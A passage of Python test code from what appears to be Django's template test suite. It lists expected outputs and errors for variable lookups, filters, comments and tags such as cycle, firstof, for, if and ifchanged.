            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
